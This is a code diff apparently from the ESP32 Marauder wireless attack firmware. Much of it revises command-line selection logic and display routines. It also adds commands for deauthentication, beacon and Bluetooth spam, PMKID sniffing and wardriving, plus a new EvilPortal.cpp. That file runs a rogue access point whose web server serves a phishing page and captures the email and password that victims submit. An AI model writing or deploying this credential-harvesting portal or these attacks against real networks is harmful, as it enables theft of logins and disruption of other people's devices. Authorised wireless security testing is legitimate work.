else if (ss_sw != -1) {
|
||||
for (int i = 0; i < ssids->size(); i++) {
|
||||
if (ssids->get(i).selected)
|
||||
if (ssids->get(i).selected) {
|
||||
Serial.println("[" + (String)i + "] " + ssids->get(i).essid + " (selected)");
|
||||
count_selected += 1;
|
||||
}
|
||||
else
|
||||
Serial.println("[" + (String)i + "] " + ssids->get(i).essid);
|
||||
}
|
||||
this->showCounts(count_selected);
|
||||
}
|
||||
// List Stations
|
||||
else if (cl_sw != -1) {
|
||||
@@ -567,6 +947,7 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.print(" [" + (String)access_points->get(x).stations->get(i) + "] ");
|
||||
Serial.print(sta_mac);
|
||||
Serial.println(" (selected)");
|
||||
count_selected += 1;
|
||||
}
|
||||
else {
|
||||
Serial.print(" [" + (String)access_points->get(x).stations->get(i) + "] ");
|
||||
@@ -574,6 +955,7 @@ void CommandLine::runCommand(String input) {
|
||||
}
|
||||
}
|
||||
}
|
||||
this->showCounts(count_selected);
|
||||
}
|
||||
else {
|
||||
Serial.println("You did not specify which list to show");
|
||||
@@ -586,50 +968,66 @@ void CommandLine::runCommand(String input) {
|
||||
int ap_sw = this->argSearch(&cmd_args, "-a");
|
||||
int ss_sw = this->argSearch(&cmd_args, "-s");
|
||||
int cl_sw = this->argSearch(&cmd_args, "-c");
|
||||
int filter_sw = this->argSearch(&cmd_args, "-f");
|
||||
|
||||
count_selected = 0;
|
||||
int count_unselected = 0;
|
||||
// select Access points
|
||||
if (ap_sw != -1) {
|
||||
// Get list of indices
|
||||
LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
|
||||
|
||||
// Select ALL APs
|
||||
if (cmd_args.get(ap_sw + 1) == "all") {
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).selected) {
|
||||
// Unselect "selected" ap
|
||||
AccessPoint new_ap = access_points->get(i);
|
||||
new_ap.selected = false;
|
||||
access_points->set(i, new_ap);
|
||||
}
|
||||
else {
|
||||
// Select "unselected" ap
|
||||
AccessPoint new_ap = access_points->get(i);
|
||||
new_ap.selected = true;
|
||||
access_points->set(i, new_ap);
|
||||
// If the filters parameter was specified
|
||||
if (filter_sw != -1) {
|
||||
String filter_ap = cmd_args.get(filter_sw + 1);
|
||||
this->filterAccessPoints(filter_ap);
|
||||
} else {
|
||||
// Get list of indices
|
||||
LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
|
||||
|
||||
// Select ALL APs
|
||||
if (cmd_args.get(ap_sw + 1) == "all") {
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).selected) {
|
||||
// Unselect "selected" ap
|
||||
AccessPoint new_ap = access_points->get(i);
|
||||
new_ap.selected = false;
|
||||
access_points->set(i, new_ap);
|
||||
count_unselected += 1;
|
||||
}
|
||||
else {
|
||||
// Select "unselected" ap
|
||||
AccessPoint new_ap = access_points->get(i);
|
||||
new_ap.selected = true;
|
||||
access_points->set(i, new_ap);
|
||||
count_selected += 1;
|
||||
}
|
||||
}
|
||||
this->showCounts(count_selected, count_unselected);
|
||||
}
|
||||
}
|
||||
// Select specific APs
|
||||
else {
|
||||
// Mark APs as selected
|
||||
for (int i = 0; i < ap_index.size(); i++) {
|
||||
int index = ap_index.get(i).toInt();
|
||||
if (!this->inRange(access_points->size(), index)) {
|
||||
Serial.println("Index not in range: " + (String)index);
|
||||
continue;
|
||||
}
|
||||
if (access_points->get(index).selected) {
|
||||
// Unselect "selected" ap
|
||||
AccessPoint new_ap = access_points->get(index);
|
||||
new_ap.selected = false;
|
||||
access_points->set(index, new_ap);
|
||||
}
|
||||
else {
|
||||
// Select "unselected" ap
|
||||
AccessPoint new_ap = access_points->get(index);
|
||||
new_ap.selected = true;
|
||||
access_points->set(index, new_ap);
|
||||
// Select specific APs
|
||||
else {
|
||||
// Mark APs as selected
|
||||
for (int i = 0; i < ap_index.size(); i++) {
|
||||
int index = ap_index.get(i).toInt();
|
||||
if (!this->inRange(access_points->size(), index)) {
|
||||
Serial.println("Index not in range: " + (String)index);
|
||||
continue;
|
||||
}
|
||||
if (access_points->get(index).selected) {
|
||||
// Unselect "selected" ap
|
||||
AccessPoint new_ap = access_points->get(index);
|
||||
new_ap.selected = false;
|
||||
access_points->set(index, new_ap);
|
||||
count_unselected += 1;
|
||||
}
|
||||
else {
|
||||
// Select "unselected" ap
|
||||
AccessPoint new_ap = access_points->get(index);
|
||||
new_ap.selected = true;
|
||||
access_points->set(index, new_ap);
|
||||
count_selected += 1;
|
||||
}
|
||||
}
|
||||
this->showCounts(count_selected, count_unselected);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -644,14 +1042,17 @@ void CommandLine::runCommand(String input) {
|
||||
Station new_sta = stations->get(i);
|
||||
new_sta.selected = false;
|
||||
stations->set(i, new_sta);
|
||||
count_unselected += 1;
|
||||
}
|
||||
else {
|
||||
// Select "unselected" ap
|
||||
Station new_sta = stations->get(i);
|
||||
new_sta.selected = true;
|
||||
stations->set(i, new_sta);
|
||||
count_selected += 1;
|
||||
}
|
||||
}
|
||||
this->showCounts(count_selected, count_unselected);
|
||||
}
|
||||
// Select specific Stations
|
||||
else {
|
||||
@@ -667,14 +1068,17 @@ void CommandLine::runCommand(String input) {
|
||||
Station new_sta = stations->get(index);
|
||||
new_sta.selected = false;
|
||||
stations->set(index, new_sta);
|
||||
count_unselected += 1;
|
||||
}
|
||||
else {
|
||||
// Select "unselected" ap
|
||||
Station new_sta = stations->get(index);
|
||||
new_sta.selected = true;
|
||||
stations->set(index, new_sta);
|
||||
count_selected += 1;
|
||||
}
|
||||
}
|
||||
this->showCounts(count_selected, count_unselected);
|
||||
}
|
||||
}
|
||||
// select ssids
|
||||
@@ -694,14 +1098,17 @@ void CommandLine::runCommand(String input) {
|
||||
ssid new_ssid = ssids->get(index);
|
||||
new_ssid.selected = false;
|
||||
ssids->set(index, new_ssid);
|
||||
count_unselected += 1;
|
||||
}
|
||||
else {
|
||||
// Select "unselected" ap
|
||||
ssid new_ssid = ssids->get(index);
|
||||
new_ssid.selected = true;
|
||||
ssids->set(index, new_ssid);
|
||||
count_selected += 1;
|
||||
}
|
||||
}
|
||||
this->showCounts(count_selected, count_unselected);
|
||||
}
|
||||
else {
|
||||
Serial.println("You did not specify which list to select from");
|
||||
@@ -745,4 +1152,41 @@ void CommandLine::runCommand(String input) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
// Join WiFi
|
||||
/*else if (cmd_args.get(0) == JOINWIFI_CMD) {
|
||||
int n_sw = this->argSearch(&cmd_args, "-n"); // name
|
||||
int a_sw = this->argSearch(&cmd_args, "-a"); // access point
|
||||
int s_sw = this->argSearch(&cmd_args, "-s"); // ssid
|
||||
int p_sw = this->argSearch(&cmd_args, "-p");
|
||||
|
||||
String essid = "";
|
||||
String pwx = "";
|
||||
|
||||
if (s_sw != -1) {
|
||||
int index = cmd_args.get(s_sw + 1).toInt();
|
||||
if (!this->inRange(ssids->size(), index)) {
|
||||
Serial.println("Index not in range: " + (String)index);
|
||||
return;
|
||||
}
|
||||
essid = ssids->get(index).essid;
|
||||
} else if (a_sw != -1) {
|
||||
int index = cmd_args.get(a_sw + 1).toInt();
|
||||
if (!this->inRange(access_points->size(), index)) {
|
||||
Serial.println("Index not in range: " + (String)index);
|
||||
return;
|
||||
}
|
||||
essid = access_points->get(index).essid;
|
||||
} else if (n_sw != -1) {
|
||||
essid = cmd_args.get(n_sw + 1);
|
||||
} else {
|
||||
Serial.println("You must specify an access point or ssid");
|
||||
return;
|
||||
}
|
||||
|
||||
if (p_sw != -1) {
|
||||
pwx = cmd_args.get(p_sw + 1);
|
||||
}
|
||||
Serial.println("Attempting to join WiFi with ssid " + (String)essid);
|
||||
wifi_scan_obj.joinWiFi(essid, pwx);
|
||||
}*/
|
||||
}
|
||||
|
||||
@@ -9,9 +9,12 @@
|
||||
#endif
|
||||
|
||||
#include "WiFiScan.h"
|
||||
#include "Web.h"
|
||||
#include "SDInterface.h"
|
||||
//#include "Web.h"
|
||||
#ifdef HAS_SD
|
||||
#include "SDInterface.h"
|
||||
#endif
|
||||
#include "settings.h"
|
||||
#include "LedInterface.h"
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
extern MenuFunctions menu_function_obj;
|
||||
@@ -19,13 +22,17 @@
|
||||
#endif
|
||||
|
||||
extern WiFiScan wifi_scan_obj;
|
||||
extern Web web_obj;
|
||||
extern SDInterface sd_obj;
|
||||
//extern Web web_obj;
|
||||
#ifdef HAS_SD
|
||||
extern SDInterface sd_obj;
|
||||
#endif
|
||||
extern Settings settings_obj;
|
||||
extern LedInterface led_obj;
|
||||
extern LinkedList<AccessPoint>* access_points;
|
||||
extern LinkedList<ssid>* ssids;
|
||||
extern LinkedList<Station>* stations;
|
||||
extern const String PROGMEM version_number;
|
||||
extern const String PROGMEM board_target;
|
||||
|
||||
//// Commands
|
||||
|
||||
@@ -36,8 +43,14 @@ const char PROGMEM REBOOT_CMD[] = "reboot";
|
||||
const char PROGMEM UPDATE_CMD[] = "update";
|
||||
const char PROGMEM HELP_CMD[] = "help";
|
||||
const char PROGMEM SETTINGS_CMD[] = "settings";
|
||||
const char PROGMEM LS_CMD[] = "ls";
|
||||
const char PROGMEM LED_CMD[] = "led";
|
||||
const char PROGMEM GPS_DATA_CMD[] = "gpsdata";
|
||||
const char PROGMEM GPS_CMD[] = "gps";
|
||||
|
||||
// WiFi sniff/scan
|
||||
const char PROGMEM EVIL_PORTAL_CMD[] = "evilportal";
|
||||
const char PROGMEM SIGSTREN_CMD[] = "sigmon";
|
||||
const char PROGMEM SCANAP_CMD[] = "scanap";
|
||||
const char PROGMEM SCANSTA_CMD[] = "scansta";
|
||||
const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw";
|
||||
@@ -48,6 +61,7 @@ const char PROGMEM SNIFF_ESP_CMD[] = "sniffesp";
|
||||
const char PROGMEM SNIFF_DEAUTH_CMD[] = "sniffdeauth";
|
||||
const char PROGMEM SNIFF_PMKID_CMD[] = "sniffpmkid";
|
||||
const char PROGMEM STOPSCAN_CMD[] = "stopscan";
|
||||
const char PROGMEM WARDRIVE_CMD[] = "wardrive";
|
||||
|
||||
// WiFi attack
|
||||
const char PROGMEM ATTACK_CMD[] = "attack";
|
||||
@@ -63,6 +77,10 @@ const char PROGMEM SSID_CMD[] = "ssid";
|
||||
|
||||
// Bluetooth sniff/scan
|
||||
const char PROGMEM BT_SNIFF_CMD[] = "sniffbt";
|
||||
const char PROGMEM BT_SOUR_APPLE_CMD[] = "sourapple";
|
||||
const char PROGMEM BT_SWIFTPAIR_SPAM_CMD[] = "swiftpair";
|
||||
const char PROGMEM BT_SPAM_ALL_CMD[] = "btspamall";
|
||||
const char PROGMEM BT_WARDRIVE_CMD[] = "btwardrive";
|
||||
const char PROGMEM BT_SKIM_CMD[] = "sniffskim";
|
||||
|
||||
|
||||
@@ -74,8 +92,14 @@ const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a/-c/-s";
|
||||
const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
|
||||
const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w";
|
||||
const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>]/[-r]";
|
||||
const char PROGMEM HELP_LS_CMD[] = "ls <directory>";
|
||||
const char PROGMEM HELP_LED_CMD[] = "led -s <hex color>/-p <rainbow>";
|
||||
const char PROGMEM HELP_GPS_DATA_CMD[] = "gpsdata";
|
||||
const char PROGMEM HELP_GPS_CMD[] = "gps [-g] <fix/sat/lon/lat/alt/date>";
|
||||
|
||||
// WiFi sniff/scan
|
||||
const char PROGMEM HELP_EVIL_PORTAL_CMD[] = "evilportal [-c start [-w html.html]/sethtml <html.html>]";
|
||||
const char PROGMEM HELP_SIGSTREN_CMD[] = "sigmon";
|
||||
const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
|
||||
const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
|
||||
const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw";
|
||||
@@ -84,8 +108,9 @@ const char PROGMEM HELP_SNIFF_PROBE_CMD[] = "sniffprobe";
|
||||
const char PROGMEM HELP_SNIFF_PWN_CMD[] = "sniffpwn";
|
||||
const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp";
|
||||
const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth";
|
||||
const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>]";
|
||||
const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>][-d][-l]";
|
||||
const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
|
||||
const char PROGMEM HELP_WARDRIVE_CMD[] = "wardrive [-s]";
|
||||
|
||||
// WiFi attack
|
||||
const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>";
|
||||
@@ -94,12 +119,16 @@ const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]
|
||||
const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
|
||||
const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
|
||||
const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c";
|
||||
const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>";
|
||||
const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>/-f \"equals <String> or contains <String>\"";
|
||||
const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g <count>/-n <name>]";
|
||||
const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
|
||||
|
||||
// Bluetooth sniff/scan
|
||||
const char PROGMEM HELP_BT_SNIFF_CMD[] = "sniffbt";
|
||||
const char PROGMEM HELP_BT_SOUR_APPLE_CMD[] = "sourapple";
|
||||
const char PROGMEM HELP_BT_SWIFTPAIR_SPAM_CMD[] = "swiftpair";
|
||||
const char PROGMEM HELP_BT_SPAM_ALL_CMD[] = "btspamall";
|
||||
const char PROGMEM HELP_BT_WARDRIVE_CMD[] = "btwardrive [-c]";
|
||||
const char PROGMEM HELP_BT_SKIM_CMD[] = "sniffskim";
|
||||
const char PROGMEM HELP_FOOT[] = "==================================";
|
||||
|
||||
@@ -108,11 +137,14 @@ class CommandLine {
|
||||
private:
|
||||
String getSerialInput();
|
||||
LinkedList<String> parseCommand(String input, char* delim);
|
||||
String toLowerCase(String str);
|
||||
void filterAccessPoints(String filter);
|
||||
void runCommand(String input);
|
||||
bool checkValueExists(LinkedList<String>* cmd_args_list, int index);
|
||||
bool inRange(int max, int index);
|
||||
bool apSelected();
|
||||
bool hasSSIDs();
|
||||
void showCounts(int selected, int unselected = -1);
|
||||
int argSearch(LinkedList<String>* cmd_args, String key);
|
||||
|
||||
const char* ascii_art =
|
||||
|
||||
@@ -20,11 +20,17 @@ void Display::RunSetup()
|
||||
#endif
|
||||
|
||||
tft.init();
|
||||
tft.setRotation(0); // Portrait
|
||||
#ifndef MARAUDER_M5STICKC
|
||||
tft.setRotation(0); // Portrait
|
||||
#endif
|
||||
|
||||
#ifdef MARAUDER_M5STICKC
|
||||
tft.setRotation(1);
|
||||
#endif
|
||||
|
||||
tft.setCursor(0, 0);
|
||||
|
||||
#ifndef MARAUDER_MINI
|
||||
#ifdef HAS_ILI9341
|
||||
|
||||
#ifdef TFT_SHIELD
|
||||
uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
|
||||
@@ -313,7 +319,7 @@ void Display::displayBuffer(bool do_clear)
|
||||
|
||||
void Display::showCenterText(String text, int y)
|
||||
{
|
||||
tft.setCursor((SCREEN_WIDTH - (text.length() * 6)) / 2, y);
|
||||
tft.setCursor((SCREEN_WIDTH - (text.length() * (6 * BANNER_TEXT_SIZE))) / 2, y);
|
||||
tft.println(text);
|
||||
}
|
||||
|
||||
@@ -380,7 +386,7 @@ void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
|
||||
//Serial.println(" tfa: " + (String)tfa);
|
||||
//Serial.println(" bfa: " + (String)bfa);
|
||||
//Serial.println("yStart: " + (String)this->yStart);
|
||||
#ifndef MARAUDER_MINI
|
||||
#ifdef HAS_ILI9341
|
||||
tft.writecommand(ILI9341_VSCRDEF); // Vertical scroll definition
|
||||
tft.writedata(tfa >> 8); // Top Fixed Area line count
|
||||
tft.writedata(tfa);
|
||||
@@ -393,7 +399,7 @@ void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
|
||||
|
||||
|
||||
void Display::scrollAddress(uint16_t vsp) {
|
||||
#ifndef MARAUDER_MINI
|
||||
#ifdef HAS_ILI9341
|
||||
tft.writecommand(ILI9341_VSCRSADD); // Vertical scrolling pointer
|
||||
tft.writedata(vsp>>8);
|
||||
tft.writedata(vsp);
|
||||
@@ -421,7 +427,7 @@ void Display::drawJpeg(const char *filename, int xpos, int ypos) {
|
||||
// the filename can be a String or character array type:
|
||||
|
||||
//boolean decoded = JpegDec.decodeFsFile(filename); // or pass the filename (leading / distinguishes SPIFFS files)
|
||||
boolean decoded = JpegDec.decodeArray(MarauderTitle, 13578);
|
||||
boolean decoded = JpegDec.decodeArray(MarauderTitle, MARAUDER_TITLE_BYTES);
|
||||
|
||||
if (decoded) {
|
||||
// print information about the image to the serial port
|
||||
@@ -435,13 +441,13 @@ void Display::drawJpeg(const char *filename, int xpos, int ypos) {
|
||||
//}
|
||||
}
|
||||
|
||||
void Display::setupDraw() {
|
||||
/*void Display::setupDraw() {
|
||||
this->tft.drawLine(0, 0, 10, 0, TFT_MAGENTA);
|
||||
this->tft.drawLine(0, 0, 0, 10, TFT_GREEN);
|
||||
this->tft.drawLine(0, 0, 0, 0, TFT_CYAN);
|
||||
}
|
||||
}*/
|
||||
|
||||
uint16_t xlast;
|
||||
/*uint16_t xlast;
|
||||
uint16_t ylast;
|
||||
uint32_t AH;
|
||||
void Display::drawStylus()
|
||||
@@ -507,7 +513,7 @@ void Display::drawStylus()
|
||||
xlast = 0;
|
||||
ylast = 0;
|
||||
}
|
||||
}
|
||||
}*/
|
||||
|
||||
//====================================================================================
|
||||
// Decode and render the Jpeg image onto the TFT screen
|
||||
@@ -745,20 +751,20 @@ void Display::listDir(fs::FS &fs, const char * dirname, uint8_t levels) {
|
||||
|
||||
void Display::updateBanner(String msg)
|
||||
{
|
||||
this->img.deleteSprite();
|
||||
//this->img.deleteSprite();
|
||||
|
||||
this->img.setColorDepth(8);
|
||||
//this->img.setColorDepth(8);
|
||||
|
||||
this->img.createSprite(SCREEN_WIDTH, TEXT_HEIGHT);
|
||||
//this->img.createSprite(SCREEN_WIDTH, TEXT_HEIGHT);
|
||||
|
||||
this->buildBanner(msg, current_banner_pos);
|
||||
|
||||
this->img.pushSprite(0, STATUS_BAR_WIDTH);
|
||||
//this->img.pushSprite(0, STATUS_BAR_WIDTH);
|
||||
|
||||
current_banner_pos--;
|
||||
//current_banner_pos--;
|
||||
|
||||
if (current_banner_pos <= 0)
|
||||
current_banner_pos = SCREEN_WIDTH + 2;
|
||||
//if (current_banner_pos <= 0)
|
||||
// current_banner_pos = SCREEN_WIDTH + 2;
|
||||
}
|
||||
|
||||
|
||||
@@ -766,6 +772,13 @@ void Display::buildBanner(String msg, int xpos)
|
||||
{
|
||||
int h = TEXT_HEIGHT;
|
||||
|
||||
this->tft.fillRect(0, STATUS_BAR_WIDTH, SCREEN_WIDTH, TEXT_HEIGHT, TFT_BLACK);
|
||||
this->tft.setFreeFont(NULL); // Font 4 selected
|
||||
this->tft.setTextSize(BANNER_TEXT_SIZE); // Font size scaling is x1
|
||||
this->tft.setTextColor(TFT_WHITE, TFT_BLACK); // Black text, no background colour
|
||||
this->showCenterText(msg, STATUS_BAR_WIDTH);
|
||||
|
||||
/*
|
||||
// We could just use fillSprite(color) but lets be a bit more creative...
|
||||
|
||||
// Fill with rainbow stripes
|
||||
@@ -787,6 +800,7 @@ void Display::buildBanner(String msg, int xpos)
|
||||
|
||||
img.setCursor(xpos - SCREEN_WIDTH, 2); // Print text at xpos - sprite width
|
||||
img.print(msg);
|
||||
*/
|
||||
}
|
||||
|
||||
void Display::main(uint8_t scan_mode)
|
||||
|
||||
@@ -8,12 +8,10 @@
|
||||
#include <FS.h>
|
||||
#include <functional>
|
||||
#include <JPEGDecoder.h>
|
||||
//#include <SimpleList.h>
|
||||
#include <LinkedList.h>
|
||||
#include <SPI.h>
|
||||
#include <lvgl.h>
|
||||
#include <Ticker.h>
|
||||
//#include <M5Stack.h>
|
||||
#include "SPIFFS.h"
|
||||
#include "Assets.h"
|
||||
|
||||
@@ -39,23 +37,6 @@
|
||||
#define LV_ADD_SSID 14
|
||||
#define WIFI_ATTACK_BEACON_LIST 15
|
||||
|
||||
/*
|
||||
PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
|
||||
PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
|
||||
|
||||
PROGMEM static lv_disp_buf_t disp_buf;
|
||||
PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
|
||||
|
||||
PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
|
||||
PROGMEM static void keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
|
||||
|
||||
// lvgl stuff
|
||||
PROGMEM static lv_obj_t *kb;
|
||||
*/
|
||||
|
||||
// #define KIT
|
||||
// #define TFT_DIY
|
||||
|
||||
class Display
|
||||
{
|
||||
private:
|
||||
@@ -76,16 +57,9 @@ class Display
|
||||
void scrollScreenBuffer(bool down = false);
|
||||
#endif
|
||||
|
||||
//void addNodes(Menu* menu, String name, Menu* child, std::function<void()> callable);
|
||||
//void changeMenu(Menu* menu);
|
||||
//void showMenuList(Menu* menu, int layer);
|
||||
//static void lv_tick_handler();
|
||||
|
||||
public:
|
||||
Display();
|
||||
//Ticker tick;
|
||||
TFT_eSPI tft = TFT_eSPI();
|
||||
TFT_eSprite img = TFT_eSprite(&tft);
|
||||
TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
|
||||
const String PROGMEM version_number = MARAUDER_VERSION;
|
||||
|
||||
@@ -94,16 +68,11 @@ class Display
|
||||
bool tteBar = false;
|
||||
bool draw_tft = false;
|
||||
bool exit_draw = false;
|
||||
bool headless_mode = false;
|
||||
|
||||
int TOP_FIXED_AREA_2 = 48;
|
||||
int print_delay_1, print_delay_2 = 10;
|
||||
int current_banner_pos = SCREEN_WIDTH;
|
||||
|
||||
//Menu* current_menu;
|
||||
|
||||
//Menu mainMenu;
|
||||
//Menu wifiMenu;
|
||||
//Menu bluetoothMenu;
|
||||
uint8_t TOP_FIXED_AREA_2 = 48;
|
||||
uint8_t print_delay_1, print_delay_2 = 10;
|
||||
uint8_t current_banner_pos = SCREEN_WIDTH;
|
||||
|
||||
LinkedList<String>* display_buffer;
|
||||
|
||||
@@ -127,9 +96,6 @@ class Display
|
||||
// We can speed up scrolling of short text lines by just blanking the character we drew
|
||||
int blank[19]; // We keep all the strings pixel lengths to optimise the speed of the top line blanking
|
||||
|
||||
//void initLVGL();
|
||||
//void deinitLVGL();
|
||||
//void joinWiFiGFX();
|
||||
void tftDrawRedOnOffButton();
|
||||
void tftDrawGreenOnOffButton();
|
||||
void tftDrawGraphObjects(byte x_scale);
|
||||
@@ -143,8 +109,6 @@ class Display
|
||||
void clearScreen();
|
||||
void displayBuffer(bool do_clear = false);
|
||||
void drawJpeg(const char *filename, int xpos, int ypos);
|
||||
void setupDraw();
|
||||
void drawStylus();
|
||||
void getTouchWhileFunction(bool pressed);
|
||||
void initScrollValues(bool tte = false);
|
||||
void jpegInfo();
|
||||
|
||||
310
esp32_marauder/EvilPortal.cpp
Normal file
310
esp32_marauder/EvilPortal.cpp
Normal file
@@ -0,0 +1,310 @@
|
||||
#include "EvilPortal.h"
|
||||
|
||||
AsyncWebServer server(80);
|
||||
|
||||
EvilPortal::EvilPortal() {
|
||||
this->runServer = false;
|
||||
this->name_received = false;
|
||||
this->password_received = false;
|
||||
this->has_html = false;
|
||||
this->has_ap = false;
|
||||
}
|
||||
|
||||
bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
|
||||
if (!this->setAP(ssids, access_points))
|
||||
return false;
|
||||
if (!this->setHtml())
|
||||
return false;
|
||||
|
||||
startPortal();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
String EvilPortal::get_user_name() {
|
||||
return this->user_name;
|
||||
}
|
||||
|
||||
String EvilPortal::get_password() {
|
||||
return this->password;
|
||||
}
|
||||
|
||||
void EvilPortal::setupServer() {
|
||||
server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
|
||||
request->send_P(200, "text/html", index_html);
|
||||
Serial.println("client connected");
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("Client connected to server");
|
||||
#endif
|
||||
});
|
||||
|
||||
server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
|
||||
String inputMessage;
|
||||
String inputParam;
|
||||
|
||||
if (request->hasParam("email")) {
|
||||
inputMessage = request->getParam("email")->value();
|
||||
inputParam = "email";
|
||||
this->user_name = inputMessage;
|
||||
this->name_received = true;
|
||||
}
|
||||
|
||||
if (request->hasParam("password")) {
|
||||
inputMessage = request->getParam("password")->value();
|
||||
inputParam = "password";
|
||||
this->password = inputMessage;
|
||||
this->password_received = true;
|
||||
}
|
||||
request->send(
|
||||
200, "text/html",
|
||||
"<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
|
||||
});
|
||||
Serial.println("web server up");
|
||||
}
|
||||
|
||||
bool EvilPortal::setHtml() {
|
||||
Serial.println("Setting HTML...");
|
||||
#ifndef WRITE_PACKETS_SERIAL
|
||||
File html_file = sd_obj.getFile("/" + this->target_html_name);
|
||||
if (!html_file) {
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("Could not find /" + this->target_html_name);
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
Serial.println("Could not find /" + this->target_html_name + ". Use stopscan...");
|
||||
return false;
|
||||
}
|
||||
else {
|
||||
if (html_file.size() > MAX_HTML_SIZE) {
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("The given HTML is too large.");
|
||||
this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE);
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
Serial.println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan...");
|
||||
return false;
|
||||
}
|
||||
String html = "";
|
||||
while (html_file.available()) {
|
||||
char c = html_file.read();
|
||||
if (isPrintable(c))
|
||||
html.concat(c);
|
||||
}
|
||||
strncpy(index_html, html.c_str(), strlen(html.c_str()));
|
||||
this->has_html = true;
|
||||
Serial.println("html set");
|
||||
html_file.close();
|
||||
return true;
|
||||
}
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
|
||||
}
|
||||
|
||||
bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
|
||||
// See if there are selected APs first
|
||||
String ap_config = "";
|
||||
String temp_ap_name = "";
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).selected) {
|
||||
temp_ap_name = access_points->get(i).essid;
|
||||
break;
|
||||
}
|
||||
}
|
||||
// If there are no SSIDs and there are no APs selected, pull from file
|
||||
// This means the file is last resort
|
||||
if ((ssids->size() <= 0) && (temp_ap_name == "")) {
|
||||
#ifndef WRITE_PACKETS_SERIAL
|
||||
File ap_config_file = sd_obj.getFile("/ap.config.txt");
|
||||
// Could not open config file. return false
|
||||
if (!ap_config_file) {
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("Could not find /ap.config.txt.");
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
Serial.println("Could not find /ap.config.txt. Use stopscan...");
|
||||
return false;
|
||||
}
|
||||
// Config file good. Proceed
|
||||
else {
|
||||
// ap name too long. return false
|
||||
if (ap_config_file.size() > MAX_AP_NAME_SIZE) {
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("The given AP name is too large.");
|
||||
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
|
||||
return false;
|
||||
}
|
||||
// AP name length good. Read from file into var
|
||||
while (ap_config_file.available()) {
|
||||
char c = ap_config_file.read();
|
||||
Serial.print(c);
|
||||
if (isPrintable(c)) {
|
||||
ap_config.concat(c);
|
||||
}
|
||||
}
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("AP name from config file");
|
||||
this->sendToDisplay("AP name: " + ap_config);
|
||||
#endif
|
||||
Serial.println("AP name from config file: " + ap_config);
|
||||
ap_config_file.close();
|
||||
}
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
// There are SSIDs in the list but there could also be an AP selected
|
||||
// Priority is SSID list before AP selected and config file
|
||||
else if (ssids->size() > 0) {
|
||||
ap_config = ssids->get(0).essid;
|
||||
if (ap_config.length() > MAX_AP_NAME_SIZE) {
|
||||
#ifdef HAS_SCREEN
|
||||
